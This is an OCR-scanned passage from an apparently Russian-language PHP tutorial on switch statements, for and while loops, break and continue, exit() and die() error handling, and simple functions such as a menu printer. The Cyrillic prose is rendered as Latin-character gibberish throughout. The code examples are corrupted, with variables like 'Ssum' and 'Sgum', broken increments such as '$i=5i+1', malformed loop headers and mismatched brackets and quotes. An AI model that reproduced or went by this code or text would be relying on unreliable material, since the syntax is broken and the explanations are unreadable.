case 3:
print("Cpena");
break;

case 4:
print {"derrepr");
break;

case 5:
print("MaTumua”) ;
print {"KoHey nHememd");
break;

case 6:
print ("Cyttora™) ;
print ("Bexomaoi™) ;
break;

case 7:
print ("Bockpecensa") ;
print ("Buxonuoi") ;
break; '

}

O6parute BHUMaHke Ha copmaruposanue. [locie Kaxmoro oreparopa case
KOMaH/Ibl, KOTOPBIE AOKHBI GbITh BLIMOAHEHBL, cMeuleHbl Bipaso. Takum obpa-
30M BBl JIEFKO MOXETEe OTHENMTh KOMAHIBI APYT OT ApYyra.

Jna 1, 5, 6 u 7-ro jHs Hexeaw s BCTABHJI [TO /IBA Ooneparopa, 4Tolbl Bl yBUAEIH,
YTO HE HYXHO HH4ero obwemuHsaThL B (urypHsie ckobku. Ha nepsbiii B3msm,
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TAKOE PEIlCHHUE CIIMILIKOM FPOMO3AKO, HO MOBEpLTe MHE, OHO YMTAETCH HAMHOTrO
npoute. ¥ HMKTO HEe MelaeT Bam 3aIkcaTh KOX OAHOM cTpokoit wan Gomee cxaro
(macTaur 2.10). i

Sday = 4;

switch (§day) { _

case 1l: print("Nonenensuux"); break;
case 2t pr_ini_:{"B-‘mpmx"): break;
case 3: print("Cpegma"): b:eak.

case 4: print ("JeTeepr"); break;
case 5i print("MaraMua"); break;
case 6: print("CyGSora"); break:
case 7: print ("Bockpeceure"); break;
default: print("OmSra") ;

DTOT KOA 3AHMMAET YXKE HAMHOIO MEHBIUE MECTa, 4 YMTATh €ro He TaK yX M
cnoxHo. YnrabenbHoCTh KOma SIBISIETCS OMEHb BAXKHON COCTABAAIOUICH, MOTOMY

YTO B HANbHEH1UEM OHA YIPOCTHT MOMIEPXKKY, OTIAAKY W BHECEHUE M3MEHEHWH
B KOIt cueHapus. [ToMumo aToro s HoGaBHI KIOYEBOE CIOBO default M BbIBOA

coobutennst o6 omnbxe.

Krniogesoe ClOBO break simmsierca o6ssarenbHbiM. Ecan Bel sabynere ero mocra-
BUTB, TO BHITIOIHUTCS BeCh MOCHEAYIOMHIE Koll, YTO Bmﬂ K HEXENareJbHOMY
pesymsrary. HO 3TOT pesyibTaT MOXeT OKasaThes M. BBITONHEIM. Hanpumep, sam
HAIO HAMWCATH YHUBEPCATBHbIN KOfl, KOTopbil Gym nony4arh crerens Joboro
Yyucna oT I no b 91*0 MOXEeT GbITh pearn3oBaHo cxmkwxm obpasom:

Ssum = 11 L4

$i = 3

switch (81) (

case 5:; $sum = S$sum * $i;

case 4: $sum = Ssum * $i;

case 3: $sum = Ssum * 5i;

case 2: $sum = $sum * $i;

case 1: Ssum = Ssum * Si;’

default: print($sum);

}

B KayecTBe HAYANLHOTO 3HAYEHNS 5 3a1an nepeMeHHolN $i 3navenue 3. Hawr xon
nomken Oymer paccuutarh crerneHs Tpoiiki. Pacckaxy, kak aro npowusoiiser.
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Onepatopsl case mwist 5 u win 4 we cpaborator, a cpaboraer BapuaHT 3, noToMy
YTO ITOMY YMCIY pPaBHA Halia MepemeHHas. 3xech yuesno 3 OyneT yMHOXEHO Ha
3HAYEHHE NEPEMEHHON $sum, KOTOPOE PABHO |, W Pe3y/bTaT NMONajieT B MepeMen-

Hyl0 $sum. Tak Kak Her oneparopa break, cnemrmmﬁ KOIl s case, PABHOIO 2,

Toxe Gyner BoimojueH. 3nech 3HaYeHue $sum (pasHoe 3) GyleT yMHOXEHO Ha 3,

W pesysnbTaT 9 nonager B nepeMeHHy0 $sum. ONATL HET break, MOITOMY BBITTON-
HUTCS case JUDST EWHUIIBI, W 3HaYeHHe Ssum (yXe pasHoe 9) Gymer yMHOXEHO
Ha 3. TMonyuurca pesynsrar 27, 1 OH GyleT BhIBEeAeH HA DKPaH, MOTOMY YTO CHO-
Ba HET break, & 3HAYKT, BBIMOJHUTCS KO/, KOTOPLI CTOMUT nocne defaulr.

Koreuno e, onHcaHHbI puMep ¢ OTCYTCTBUEM ONEparopa break HEIDDEKTH-
BEH, TIOTOMY 4TO caMa ulues HepbirojHa. Takas 3amaya Jydile peuaercs ¢ noMo-
LIBIO LMKJIOB, KOTOpPLIE Mbl ckopo GymeM paccmatpiusaTe. Ho wHOrza moxer ro-
HAnobUTLCA 1PU ONPENeNeHHBIX YC/IOBUSAX BBRIMOMHATE KOA OT ABYX Hiau Gonee
OMNeparopos case. Bbl AO/KHBI 3HATH, YTO TIPOCTON MPHEM € OTCYTCTBUEM Onepa-
TOPA NpepLiBaHMA break MOXET YHPOCTHTH BAM KU3Hb.

Bo spemsi paspaboTki cBOMX ClEHApueB BeIGHMpaiiTe TOT BAPHAHT MPOBEPOK, KO-
TOPBIH MAKCUMANBHO MOAXOMMT MNs pererus 3anaun. [To ckopocTy BINONHEHMS
Bce BapHaHThl paboTalT ONMHAKOBO, & BOT C TOUKH 3PEHUST KPAcoThl, MPH MHO-
FOKparHOM CpaBHEHMM OMneparop switch MOXeT 3HAYUTENLHO YAYYIIMTL YUTA-
GeNbHOCTD MPOrPAMMBL

2.6. Uuknsl

He meHee yacto B nmporpaMMUpOBaHHUH HENonb3yloTes kst Hampumep, 1a xe
3a1a4a ¢ BO3BENEHMEM B CTeneHb, KOTOPYIO Mbl OOCYXNANW MPH PacCMOTPeHHK
oneparopa switch, PelAETCs HAMHOFO MPOLUE W JIYHINE NP MOMOIM UHKIA.
[na BospeneHMs B CTENEHH HYXHO BHIIOAHMTL ONEPALHIO YMHOXEHMs Orpese-
JeHHOe KonuuecTBO pa3. Ecim HYXHO BO3BECTH B 3-10 CTENEHb YHCIO 2,
TO MOXHO Hanucarb: 2*2%2, A €clnH HYXHO BO3BECTH YMCJIO 2 B COTYIO CTEMeHs”
310 yKe craoxHee. MOXHO pacCuMTaTh YMCIO 3apaHee, HO KAk IOCTYNHUTh, eciau
HEM3BECTHO, B KAKYIO CTENEHb HYKHO BO3BOANTHL wucno? Bor sro yxe cambie Ha-
crostiue npobieMsl, U 3feck He oboilTHCh 683 LHKIIOB.

Uukn for

CaMmbIM H4CTO MCHONB3YEMBIM SiBIsieTca UMKA for. OH Haubomee mpocT B MOHH-
MAHUH, NOITOMY HAYHEM PACCMOTPEHUE LMKIOB ¢ Hero. B obuieM Buie OoH Bbi-
CIALUT ClefAyiouM obpazom:
for (HauanpHO® S[HAYEHWE; KOHEUHOE SHAYUeHWe; MIMEeHEeHMe CueTuMKa)
OnepaTop
[TocMOTPUM, KaK MOXKHO BO3BECTH YMCIO B CTENEHb C MOMOLLBIO LIMKIA;
Ssum = 1;
for ($i=1l; S$i<=3; §i=35i+l)
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$sum = Ssum * 3;
print{$i);

B aToM npumepe sanyckaeTcst LMK/ ¢ HAYANBHBIM 3HAYEHHEM NEPEMEHHOM $i,
paBHbiM 1. Ilukn Gyner BBIMOMHATBCH, MOKA 3HAYEHHE NMEPEMEHHON MEeHbLUe WM
paBHO 3. Kak ro/bKo 3HaYeHWE MNEPeMEHHON MPEBLICUT 3TO YHMCIO, LMK Mpe-
pBETCH, W Pe3y/bTaT OYAeT BBIBEACH HA KpaH ¢ MOMOWBIO GyHKUMK print (),
KoTopasi WieT mocie muKia. Ha Kaxiom ware UMKiIa 3HavyeHue NepeMeHHon $i
YBEJTHHMBACTCS HA eAMHHUILY ($i=5i+1). '
Ha kaxjom imare muKia BHIMOJHSAETCS CTPOYKA KOMA: $sum = $sum * 3. TaK Kak
HAL LAKI BBINOMHAETCS o | 110 3, To ¢Tpouka Gyaer BeIToJHeHa TPH pasa.
[Mocne oneparopa for BHITIONHAETCS TONBKO OAHA cTpouka Koxa. Yrobnl ObutO
BUIIHO 3TO CTPOYKY, I BCeria OTHEsIO ee 1pobenoM, emeias srpaso. Ecnm He-
00X0AUMO BEINIONHKTE ABa ¥ Bosiee oneparopa, HYXKHO 3aKIOYHTE UX B (Guryp-
Hble ckobku. Hanpumep:
$sum = 1;
for ($i=1; $i<=3; $i=$i+l)

{

Ssum = Ssum * 3;

print ("Cymua = $sum, Cuerumk = $i <BR>");

) _

[Tocsie BBINONHEHUS 3TOTO KOJIA MBI YBHIMM HA 3KpaHe CleAyIOuNi TEKCT:
Cyrva = 3, Cuerumk = 1
Cymma = 9, CuerTumr = 2
Cyma = 27, Cuetunk = 3
TakuM 06PA30M MBI BO3BEU YUCIO 3 B TPETHIO CTEEHb.
B KauecTBe HAYAIBLHBIX 3HAYEHHH MoryT BBICTYMATh HECKOABKO HEPEMEHHBIX.
Hanpumep, snech Mbl GecnpersTCTBEHHO MOXEM fepeHecTH oOBABICHUE lepe-
MEHHOI $sum B CKOOKM omeparopa for cienyiolum obpasom:

for ($sum=1, $i=1; $i<=3; $i=§i+l)

{

$sum = Ssum * 3;

print("Cyvamua = Ssum, Cuerumx = §1 <BR>");:

3 r

Bce HayalbHBIE 3HAYEHUS MEPEYHCIIIOTCS. YEPE3 3aMATYIO.

Takum xe oGpasoM MoxeT ObITh OpraHM3oBaHo J0Goe KOMHYECTBO [POBEPOK.
HampimMep, HaM HAZO BIMOMHATH LMK, MOKa 3HAYEHHE MepeMeHHOl $i He cTa-
HeT Gonbie 3, win cymma He npesblcuT 100, i 31Or0 MOXHO HarucaTh LIHKI
cheaylonuM obpasom:

for (Ssum=1, $i=1l; S$i<=3, Ssum<l100; $i=Si+l)
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{

$sum = Ssum * 3;

print ("Cymva = $sum, Cuerumx = $i <BR>");

}
Kak suanre, B OrpaHnyeHun UMKIA Yepes 3anaTylo TIPOBepSIOTCs ABA YCJIOBMSL!

$i<=3 M $sum<100. 3anATas paBHOCHJIbHA cpaBHeHNI0 "Win" (or) H COOTBETCTBY-
er 3anucu:

for ($sum=1, $i=1; $i<=3 or $sum<l00; 3i=$i+1)

Ecau HyXHO BBITONHATH UMK, MOKA OJHO M3 YCNIOBHI HE CTAHET MCTHHHEIM, TO
MOXHO Hamucarh Tak:

for ($sum=1, $i=1; $i<=3 and Ssum<l00; $i=5i+1)

Ho B atoM ciyyae umeercsi oiuH Hemocrarok. Eciiu Bel BLITIONHMTE ceifyac 3ToT
Ko, TO yBumuTe, 4ro cymma npessbiuaer 100. Mouemy? Tlposepka mnpomcxo-
IUT paHblue, YeM MPOU3IBOAMUTCS OYEpenHOoe Bo3BeNeHHe B creneHb. Yucno 3
B 4-it cremenu pasHo 81. Dro menbuue 100, no3ToMy BBEIMOJHSETCH OYEPELHOM
war UMKia (eme ofHO BO3BEIEHWE B CTETIEHb), W PE3yNbTaT cTaHoBUTes 243, uTo
¥ BBIBOIMTCS HA 3KpaH. ToNbKO Cleylolas MpoBEpKa YBMIMT, 4TO YHCIO Tpe-
BBICUIIO jonycTuMoe 3uavenne. Yro6er usbasutees or sroro adipexra, Bossene-
HUE B CTENEeHb HYXKHO MepeHecTH B o6NacTh yBelHYEeHH CUETYMKA, T. €. TaK:

for (Ssum=1, Si=1; $i<=3, S$sum<l00; $i=$i+1, Ssum = $sum * 3)
print(“"Cymma = Ssum, Cuerumr = $i <BR>");

Ternepsb Ha KaXIOM ILIAre UKKIA YBEJIWYMBAETCS HE TONBKO $i, HO M $sum. Pe-
3yNBTAT BO3BeNEHMA B cremeHb GyleT BhIBENECH HA 3KPaH TONLKO B TOM Ciyyae,
€CJIM OH COOTBETCTBYET 0BOMM YCIOBHSIM, W cyMMa HuKoraa He npesbicut 100.

Uwkn while

[uKn while MOXHO BOCIPUHUMATH KAK "BBINONHATH ACHCTBUS, MOKA BEPHO yc-
nosue". B oblieM BHAE 5TO BLUTIAOUT claeaylowmM obpasoM:
while (ycnmoBue)

nejcTeue;

BoinosiHsiercsi TONBKO OAHO AEHCTBUE, MO3TOMY, YTOOEI BBIMOIHUTHE HECKOMLKO
onepaunif, ¥X HauoO 3aKMOYNTh B PUTYPHBIE CKOOKH. PaccMOTpHM mpumep Bo3-
BEAEHWS YKcia 3 B CTEMEHb 3 ¢ MOMOILBIO LIMKIA while:

S1 = 1;

$sum = 1;

while ($i<=3)

{

$sum = Sgum * 3;
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=81 +1;
}

B naHHOM cnyuae yBEIHYEHAE MPOMCXOAUT BHYTPH LIMKIA BMECTE C BO3BEICHUEM
B crenedb. Kak ToNBKO ye/loBue cTaHeT HeBepHBIM, LMK Gyaer nmpepsad. A ecnun
HAIO BHIMONHUTD TeJI0 UMKiIA B moboM cayyae xorsa 6bl oguH pas? B stom ciyuae
HYXXHO BOCMOIB3IOBATECS APYroil Pa3HOBMIHOCTHIO while!

do neficreue

while (ycrnoeue);

B 5TOM cyuae CHAYAA BHIMOMHAETCS ACHCTBIE, & MOTOM YXKE MPONCXOAUT TPo-
pepka. Takum obGpasom neficrsue Oyiner BbinonHeHo B yoGom cayvae xors Gbi
ONMH pa3, Jaxe ec/y YCIOBUEe HIHAYAILHO HesepHo. Hanpumep:
$i=1;
Ssum = 1;
do
{
$sum = $sum * 3;
$i = 81 + 1;
}
while ($i<=3)

EcTs elue oflMH BAPUAHT 3anMCH ONEPaTopa while:
while (ycnosue)

Oneparop 1;

Oneparop 2;

endwhile

B naHHOM ciydae MOXET BBITIOTHATHCS MHOXECTBO oneparopos Ge3
Hust B UrypHsie cKoGKH, MOTOMY YTO €CIU YcioBHe BepHo, To Gyxer Buncnne‘h
BeCh KOJI, NMOKA He BCTPETHTCS KJIIOYeBOE C/IOBO endwhile.

BeckoHeuHble LNKNbI
BHIBAIOT CUTyalUMy, KOTAA HYKHO clenarh uukn GeckoHeunniM. B artom ciyuae
MOXHO MCTIONB3OBATh B KAYECTBE yCIOBHS ISl HMK/IA while 3aBEIOMO MCTHHHOE
3HAYEHUe: - :
while (TRUE)

{

)
B JaHHOM ciydae Mbl CTABHM B Ka4yeCcTBE PEe3yabTata yoJloBUf WUCTHHHOE 3Have-

HHUE, KOTOPOE MPOCTO HE MOXET NOMEHSTHCH HA JIOXKb, 4 3HAMUT, UMK Oyser
GECKOHEYHBIM.
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Hukn for ToXe MOXHO claenars GecKoOHeYHBIM. 3To Jejaeres cheayioumm ob-
pazoM:
for (:;7)

{

}

3mech HET HUKAKHX YCJIOBHH W npupaileHuii, nmosTomMy # umkn Gymer Gecko-
HEYHBIM.

He coseryio ncnonbioBats GeckoHewHbIe UHKNILL. XOTS YYTh HWKE Mbl YBUIMM,
KAK YNMpaBiATh UMKIAMM W KaK B HYXHBI MOMECHT NPepBarTh BLINONHEHWE, HO
OeckoHeUHBIe LUMKILI OYeHb CHJIBHO 3arpyXaioT cucremy, ocoberHo Oecrioned-
HBIMH NEpPeXoNaMH.

B npunuune, abcomorHoll GecKOHEYHOCTH NO yMmoiuaHuio He Gyner. Brimomse-
HHe moboro cueHapusi orpaHuYeHo 1o spemern (no ymonuanuio 30 cexyun). Bu
MOXETE MIMEHHTh 3T0 3HAMEHWE WIH Clenars DeckoHeuHbIM Bpems OXMIaHUA,
HO TOINA paul cUEHApHi M3-3a Kakoil-HHUOyAL ManeHbKoi OKMOKK (He Oyner Bui-
MONHATECS TPEpLIBAHKE LIMKNA) MOXET MEPerpysuTs CHCTEMY, U CAlfT CTaHeT He-
JOCTYIIHLIM.

Ynpasnexue ynknamu

HHorna HyXHO MMETh BO3MOXKHOCTb NpepsaTh paboTy UMKNA WIH U3MEHUTH XOX
ero pbinosHenns. Hanpumep, ToALKO ¢ MOMOULBIO CHEUHMATLHOTO OfiepaTopa 3a-
BEPIICHHS PaGOThI IHKIA MOKHO OCTAHOBHTH BbINIONHEHHE GECKOHEYHOTO LMK,
[pepBarh BHIMONHEHHE UHKIA MOXKHO € TTOMOIILIO Ofieparopa break. Hanpumep:
S$index=1;
while ($index<10)

{

print("Sindex <BR>");

Sindex++;

if ($index==5)

break;
)

Nanubiil MUK JOIDKEH BBIMOAHATHCH, MOKA 3HAYEHWE MEPEMEHHOH S$index He
craHeT pasHbeIM Wid Gonbiue 10. B tese uMkna ects NpOBEPKA: ec/H 3HAMEHME
repeMedHON PaBHO 5, TO LMK MpepsBaeTCa ¢ NOMOLIBIO ofeparopa break. Ta-
KM 0BpazoM, UMK Syaer BRITIONHEH TOIBKO A0 5.

A eclM HYXHO NpPOMYCTHTb KAKOE-TO 3HAYEHME M HE BLIMONHATL UMKA MAM
Kakyio-To ero yacrs? [t aToro ecrb oneparop continue. PaccMoTpUM npuMmep
Ero MUCTIONbL30BaHMA:

$index=0;

while ($index<10)
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{

Sindex++;

if (Sindex==5)

continue; !

print ("S$index <BR>");
}
B nanHOM cllyyae B UHKIE BLIMOMHACTCH Me4arb ducen or 1 po 9, u Mbl HOKHBI
nponyctutTh uneao 3, Inst storo nepeMeHHON $index INPUCBAWBAETCS 3HAME-
Hue 0. [Mowemy 0, ecan Hyxuo meuarars ¢ 1? IMpocro B Tene umKIa MBI cHavana
yBENIMYHBAEM 3HAYEHHE nepeMeHHol Ha |, a noToM yxe nevyartaeM, T. €. Ha Tiep-
BOM e are emte no nevatn 0 Syner yseawued Ha 1, ¥ pacrneuaraerest equHrLa.
Ecnu nepeMennan $index pasHa 5, To neyarn He Gyne'r MOTOMY YTO BBINOTHAT-
sl ONEPaTop continue, W BEINOJHEHNE NMEPEieT B HAYANO.
Byasre BHHMATEJBHBL NPH WCIIONBIOBAHMM oneparopa continue. [locMorpure
CAeAYIOWMI KOR ¥ HaizuTe omHoKy:
Sindes=1;
while ($index<10)

{

if ($index==5)

continue;

print(“$index <BR>");

Sindex++; !
}

CruTakcnueckoil omubkn snecs HeT, H, HA NepBbiii BILIAA, KOA NONKEH BHINON-
HATH Te XKe AeHCTBUS, 4To W nperbutyinit, B nepeMeHHyIo $index Mbl 3aHECHH
HAYATLHOE 3HAMEHUE |, MOTOMY YTO TENeph YBEIMUEHHE CueTYNKA MAeT mocie
nevati u Bpone Gkl Bee mpapwibHo. Ecam umki noiiser ao 5, 1o nevyarn ne Gyxer
W Npou3oiiler nepexoj) Ha Hauajso uMkaa. B srom  sawuovaercs ownbka.
[Mocne mepexosa cHeTyMK He HM3MEHWICS (3HAMEGHME MNEpeMEeHHOH $index He
YBETMYEHO M PaBHO 5), W CHOBA NMpoBepka ¢ uHcaoM 5 nact weruny. Takum obpa-
30M, UMK "3aKAMHWT', W OH TOCTOSHHO GyHer NEpexoauTs ¢ NATO CTPOKHK
Ha BTOPYIO.
9roil npobiemsl mm MCHONBIOBAHUK LIMKNA for, MOTOMY YTO YBEIHHCHUE
NPU mepexone Ha HOBBIA ar MPOMCXOMUT cpasy Xe u@-@epmne yxammon
B KAYecTse MOCJEAHEro napaMeTpa B ckobKax:
for ($index=1; $index<10; $index++)
{

if ($index==5)

continue;

33k 1315
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print ("$index <BR>");
}

B ciydae ¢ umknoM for MOXHO MOCTYIHTE HEMHOIO APYTHM CrocoGoM — camo-
CTOATENIBHO YBEMTHYUTH 3HAYEHUE NepPeMEHHOI $index B TeNle LMK/IA:

for ($index=1; $index<10; S$index++)
{
if ($index==5)
$index++;
print ("$index <BR>");
}

Ho 310 yacTHbIH ciydail nepexofia Ha cHeAyIOUlMil Wwar, KOrna HyXXHO [pocro
MPpONYCTHTb OAHO 3HAYEHHE. 3&.!1&_‘1& HIIH YCJIIOBUE MO.)]C_CT NOMEHATHCA, W TOrpa
BBl He ysuaurte ommbky. Hanpumep, mMoxer noHagoOUTBCA MPOCKOYUTE HE-
CKONBKO maros moapsu. Ha xakoe sHayeHue TOrAA NPUAETCS YBEAWYNBATH CYer-
YUK, CKa3aTb TPYAHO. B peaneHBIX YCTOBHAX fi HE COBETYIO JOBEPATH PY4HOMY
YBENWYEHHIO CHETYMKA, A HMCMONB30BAThL ONEPATOP continue, MOTOMY YTO OH
YHUBEpPCAIeH.

2.7. YnpaeneHue rnporpamMmmoii

WHorna GbIBalOT CUTYAUMK, B KOTOPBIX HYXHO fpepsars pabory uukna. Ouexs
4acToO 9TO HeobXoAMMo, KOoraa MpoM3olia Kakas-nmubo ommbka, u naibHelilee
BbIMIOJIHEHHUE TIPUBEAET TONBKO K yXyAlleHHI0 monomkenus. Hanpumep, Ha cepsepe
HeT HeoGxomumoro daiina, HIW MONB3OBATEND 3304l HENpPaBUILHBIE [APAMETPEI,
B arom ciysae pansHeiuan pabora cueHapus MOXeT oToGpasuUTh 3anpelieHHyI0
NHGOPMALMIO WIH OPOCTO oTPaboTaTh HEeNpaBHABHO W MPUBECTH K MEYANbHLIM
rmocheacTBUaM. B Takux cayyasx He SKcHepHUMEHTHpyiiTe, a ocraHosuTe paboty
CLIEHAPHSI.

s npepsiBanyst paboThl cLUEHapus cyulecTByer KomaHna exit (). Kak Tonsko
cLieHapuil BCTpeTHT nofobHylo KomaHay, pabora Tyr e npepsercs. ExuHcrBeH-
HBII HEJOCTATOK 3TON KOMAHAKLI 3aKIIOYAETCA B TOM, YTO HYXHO ele W coob-
LIHTD [OMB30BATENIO, MOYEMY BBINOTHEHHE MTPEPBaHo.

Sl pekOMEHIYI0 MCNONBL30BATH KOMAaHAY die (), KOTOpas SIBISIETCH MCEBIOHHMOM
Ut exit(), HO B KavecTse Mapamerpa misl die() YKasblBaeTcs TEKCTOBOE CO00-
UleHWe, KOTOpoe YBUAUT MONh30BaTelb B OKHe Gpayzepa. PaceMorpum kitaccuye-
CKMI mpuMep noakmoyeHus K 6ase JaHHbIX:

if(connect_to_database)

die("Her coemHeHMAa ¢ Da3oi NaHHEX, sSajimsTe nosme");

B naHHOM ciydyae KOMAHAA connect_to_database siBsieTcs abeTpakTHOM M He
cywecrsyioweil 8 sapike PHP. Ona npocTo ykassiBaeT Ha TO, YTO B 3TOM MecTe
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MOXET HAXOAWTBCS MOLKTIOYeHHe K Oase NaHHBIX. 31ech BAXHO, YTO €CliM HET
coeMHeHUsA ¢ 0asoft ZaHHBIX, TO BEI3BIBACTCA KOMAHIA die(), @ B KAa4yecTBe Tia-
paMeTpa rnepenaercs TeKCToBoe onucaH1e oubKH,

O6sizarensHo MHpOpMHUpYiiTE NMONB3OBATENS O NPHYMHAX BO3MOXHBIX OLIMGOK.
Ecnmu He Gyner coobuienuii, a TONbKO MyCTbie KpaHbl MM NPEepBaHHBIE HA MOy~
C/IOBE CTPAHHIBL, TO 3TO BBI3OBET pasApaxeHwWe y Mocerurens, ¥ oH Goabiue HU-
Kora He saiyier Ha paw caiit. C noMoubio COOBINEHMS Bbl NO/IKHBI HIBHHHTLCH
M MONMPOCHTL MOCETHTENS 3aiTH HEMHOTO TO3XKe.

Oumbku ¢ nopknwyeHweM K Gaze JAHHBIX BCTpevyaloTes AOBOJNBHO uacro. Ha
OHOM M3 XOCTOB, Fl€ pacriojaraeTcd MOl caiiT B TedeHMe ABYX MecsueB, Oasa
nanHbiXx MySQL pa6orana ¢ nepeGosMu, W Kaxusii AeHb mpoucxomua cGoit Ha
10—15 MunyT B camblii MUK noceiaemMocTd. MpobGaembl MoryT GbiTh CBS3AHBI
€ TUIOXHM NPOTPAMMHMPOBAHHEM, HE3aKPBITHIMU coennnmma 1 G/IOKMpOBKa-
MH, 2 TaKKe nepemysxnﬂ cepsepa

Hepocrarku qmncmm die() — HEMEVICHHBIIl BbIBOJL COODIUEHHUST W HEMEITEH-
Hoe npexpmnenﬁe paGotsl cueHapusi. Takum oﬁpaseu PesyIbTHpYIOLIas cTpa-
HHUIA MOXET OKA3aThesl HesakoHueHHoi. Ecmu Bel xotuTe, uro6er Web-crpanuia
BBIVISIZIENIA XOPOLIO, TO MOXHO HCMONB30BATE CIEAYIOHIVIO JIOTHKY:

Orobpaxesue WANKY CTPaHMLE
if(!connect_to_database)
{
print ("Her coemmenus c Gasoli maHHux, sajmme nosxe");
OroCpaxenie NOHBRANA CTPaHULE
exit;
2

B sTOM coyyae crpanuua Gyner BeIsIIeTh GoNee KOPPEKTHO, TIOTOMY HTO moc/ie
BbiBoja coobuieHns Mbl oTobpaxaeM Ha 3KpaHe MOABAN M TONLKO MOC/HE 3TOro
npepbiBaeM paboTy cLeHAapUs.

2.8. DyHKLUM

Koraa s TONBKO HAYMHHAN NMPOrpaMMMpoBaTh Ha sisbike Pascal, To monro He mor
MOHATH, 3a4eM HyXHBl (yHxkuuu., Bece nporpammsl # cTpowsn nuHeilHo, Ge3
Kakux-mbo sersneHunit. Ho onnaxabl s cronkuynes ¢ mpobremoii. Kox mpo-
rpaMMBl BBITTIANEN, KaK B nucTuHre 2.11.

print ("BuBepure omHo M3 neficrauit <BR>");

print (=== = <BR>") ;
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print ("llowck <BR>");

print(" <BR>");
print("== =====<BR>") ;
print {"Tleyars <BR>");

print (" <BHR>") ;
print("== == <BR>") ;
print ("Bunon <BR>");

print (" <BR>") ;

B nepsoii cTpouyke BEIBOAMTCSA 3arojOBOK, @ MOTOM: WAET BBIBOJ TPEX MyHKTOB
MeH10. [Uist BEIBOAA KAXKIOTO M3 HMX HYXKHO NO TP CTPoMKK Koaa. Ha Bua oH He
TAKO# YX M CTPAIIHBI. A eciy Takux myHKros merio Oyser 20 wiu s BeiBona
KAKIOr0 3 HUX NOHanobuTes He 3 crpouku Koaa, a 10? B atom ciyuae ctpouxu
BY/IyT TIOBTOPATHCA MHOTOKPATHO, ¥ KOJI CTAHET abCONIOTHO HEYHTACMBIM. A €CTH
MPeICTaBUTL cebE CHTYALHIO, YTO HYXHO M3MEHUTh KaKyl0-TO CTPOUKY UId KaX-
noro nyskta Mexio!!! 3eck yxKe HyxHO npoussecty 20 H3MEHEHWH IS KaXIOro
nyHKTa. 910 OvYeHb HeynobHO, OTHWM@eT MHoro BpeMeHu m abcomoTHo Heabh-
(heKTHBHO,

Il peiieHusl MOCTABNEHHON 3a4a4YM XOPOLIO NMOAXOMHT MCHONL3OBAHKE (DYHK-
umit. @ynkuun 8 PHP cosnalores crenyioutnm obpasom:

function Ius(napamerpl, napameTp2, ...)
{

Oneparop 1;

Oneparop 2;

)

Paccmotpum paGoty dyrkuMit Ha npumepe, yrobbl Bel Cpasy yBHIGAH HMX Npe-
uMyuiecTBo., Bor dyHKiMs, KOTOpas NOMKHA BBIBOAWTH HA 3KpaH ONHH NYHKT
MEHIO:

function PrintMenu{$name)

{

print (" <BR>");
print("$name <BR>");
print (" ===<BR>") ;

}

Tenepb, 4ToOLlI BLIBECTH HA KpaH OAWH NMYHKT MEHIO, NOCTATOMHO BBI3BATL 3ITY
(PYHKIIMIO TOYHO TAK e, KAK Mbl YK€ MHOIO pa3 BBI3IBAIH (DYHKUMIO print().
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B kauecTse napamerpa HyKHO IMEPENATh HMA MEHIO, B KOJE 9T0 MOXET BHITh re-
PEMEHHAsA WM MPOCTO TEKCT:

$mname = "[ouck";
PrintMenu (Smname) ;
PrintMenu ("Nleuaws™) ;
PrintMenu ( *Bexon”) ;

B nepsom ciyyae B KauecTse fapamerpa B ckoDKax nepesaercsi mepeMeHHas
$mname, B KOTOPOil COAEPXKUTCHA TEKCT HA3BaHus MeHIO. B ocranbHbX cpasy re-
penaercs Teker MeHio. MTak, MOXHO nepenasath B (hYHKLMIO He TOJNBKO Mepe-
MEHHbIE, HO ¥ 3HAYEHMS, @ TAKKE PEe3Y/IBTATH! BLITIONHEHNA APYruX GYHKIHI.

Kak sumure, obssannensas namu dyHKUMs paboTtaeT TaK xe, Kak ¥ Te, Yro yxe
BerpoeHs! B 6ubanorekn PHP, nanpumep, dysxkuns print (), KOTOpYio Mbl yXKe
HEOTHOKPaTHO Wenoabiopan. Bo pems oOpsasneHust GyHKUMM B CKOBKAX HyxX-
HO yKa3aTh NapaMerphbl, KOTOPHIX MOXET ObITh HECKONLKO, W NEepevyHcAuTb HX
gyepes sanaTyio. CKoTbKO mapaMeTpoB YKa3aHo B CKOOKAX, CTOMLKO MBI JOKHEI
yKa3aTh ¥ MPH KCONB30BAHUN (DYHKIUN B CHEHAPWH.

Tak gro xe Takoe dhynkima? W3 npuMepos BUAHO, YTO (PYHKLHMA — 3TO HMEHO-
BAHHBIA (pparMeHT KOoia, KOTOPhIii MOXET NMPHHHUMATH NMAPaMeTphl JUisl BHYTPEH-
Hero HcnoibiosaHus (06paboTKi) ¥ BO3BpaIMATL PE3YNLTAT (STY BOIMOXKHOCTh
MBI PACCMOTPUM HemHoro Hike). PyHKIMIO crielyeT BBI3RIBATL Mo UMeHH. Takue
¢parMeHTEl KOHA BHITOAHBI, KOTJIA BBITMIONHAIOTCS HeopHoKpaTtHo. Yrobsr He no-
BTOPATLCA BO BpeMsi MPOrpaMMHPOBAHNS, HEKOTOpBIe (hparMenTsl Koaa cleHapus
MoryT ObiTh oopmieHbl B BuAe QYHKIUMI M HCIIONL3OBATLECA B AANBHEHIIEM.

DyHKIMK TO3BOSIOT MHOTOKPATHO MCMOJIL30BATH ONMH Pa3 HANMCAHHBIN KOJL.
Hanpumep, ecnn B cueHapuu A onucaHa QYHKUMS, a e HYXHO WCHNOJNB30BATh
B cueHapuu B, To mpocro momkmiovaeM K cueHapwio b daiinr cuenapust A u mc-
nonb3yeM yxXe HarmcaHHbiit Kox. Takum obpasoM MOXKHO 3KOHOMHTH KOA W lie-
nare ero yutabensHee HE TOJNBKO BHYTPU OJIHOIO CHEHAPHS, HO M JUIS HECKOAb-
KHX CLEHAPUEB OIHOBPEMEHHO.

C nomoursio GyHKIMH Mbl He TOABKO YNPOMIAEM MPOLECC MporpaMMHUpOBAHHS,
HO M JieffaeM Kox Gosee MOHATHBIM i nipu 3ToM Gosee GuicTpbiM. B uem npudnHa
yBenuueHusi ckopoct? B cnocobroctu dyHkumit ymMeHbaTs Koa. Yem MeHbile
caitn, TeM MeHbIlIE BPEMEHHM HYXKHO HA ero 3arpysky, MeHbIlie WCIONb3yeTcs mna-
MSITH CEpBEpPa M MEHBbIIIe CTPOYEK HYXKHO WHTEpPrpeTHpoBaTh. Takum ob6pazoM Mbl
HE TpocTo yOUBaeM HECKOJIBKO 3aiflieB, a pasphiBaeM MX B KJIOUBS.

C apyroit croponsl, QYHKUHH MOIYT YXYHAIIUTh MPOH3BOAUTENBHOCTh, MYCTh W
